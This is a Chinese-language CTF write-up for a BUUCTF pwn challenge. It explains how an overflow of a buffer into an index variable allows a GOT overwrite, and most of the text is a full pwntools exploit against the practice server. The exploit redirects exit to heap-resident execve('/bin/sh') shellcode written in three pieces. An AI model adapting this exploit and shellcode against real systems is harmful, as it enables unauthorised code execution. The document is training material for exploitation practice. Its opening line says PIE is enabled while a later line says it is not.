查看保护,就开了 PIE:
漏洞点:
buf 存在溢出,刚好可以溢出到 idx,而且没有开 PIE 和 FULL RELRO,所以可以修改 idx 去修改相关 got 表项。
然后我就没啥思路了,因为在我的本地环境堆上是没有可执行权限的,然后去网上搜了一下,发现其都说堆上有可执行权限。然后看了下 buu 给的是 ubu18,所以应该是环境的问题,远程堆上应该有可执行权限。
利用方式:
修改 exit got 表为堆上地址,然后往堆上写入 shellcode,由于写入字节有限,所以 shellcode 得分段写入,exp 如下:
from pwn import *
context.terminal = ['tmux', 'splitw', '-h']
context(arch = 'amd64', os = 'linux')
#context(arch = 'i386', os = 'linux')
#context.log_level = 'debug'#io = process("./pwn")
io = remote("node4.buuoj.cn", 29116)
elf = ELF("./pwn")
libc = elf.libcdef debug():gdb.attach(io)pause()sd = lambda s : io.send(s)
sda = lambda s, n : io.sendafter(s, n)
sl = lambda s : io.sendline(s)
sla = lambda s, n : io.sendlineafter(s, n)
rc = lambda n : io.recv(n)
rl = lambda : io.recvline()
rut = lambda s : io.recvuntil(s, drop=True)
ruf = lambda s : io.recvuntil(s, drop=False)
addr4 = lambda n : u32(io.recv(n, timeout=1).ljust(4, b'\x00'))
addr8 = lambda n : u64(io.recv(n, timeout=1).ljust(8, b'\x00'))
addr32 = lambda s : u32(io.recvuntil(s, drop=True, timeout=1).ljust(4, b'\x00'))
addr64 = lambda s : u64(io.recvuntil(s, drop=True, timeout=1).ljust(8, b'\x00'))
byte = lambda n : str(n).encode()
info = lambda s, n : print("\033[31m["+s+" -> "+str(hex(n))+"]\033[0m")
sh = lambda : io.interactive()
menu = b''def add(idx, size, data):sl(b'1')sleep(0.02)sl(byte(idx))sleep(0.02)sl(size)sleep(0.02)sl(data)sleep(0.01)pay = b'13'.ljust(10, b'\x00') + p32(0xFFFFFFF8)shellcode = asm("""mov rax,0x0068732f6e69622fjmp $+0x16
""")info("shellcode len", len(shellcode))
add(0, pay, shellcode)shellcode = asm("""push raxmov rdi, rspxor rsi, rsijmp $+0x19
""")
info("shellcode len", len(shellcode))
add(1, b'13\x00', shellcode)shellcode = asm("""xor rdx, rdxmov rax, 0x3bsyscall
""")
info("shellcode len", len(shellcode))
add(2, b'13\x00', shellcode)sl(b'5')#debug()
sh()
远程可以通,而本地堆上无可执行权限,所以打不通: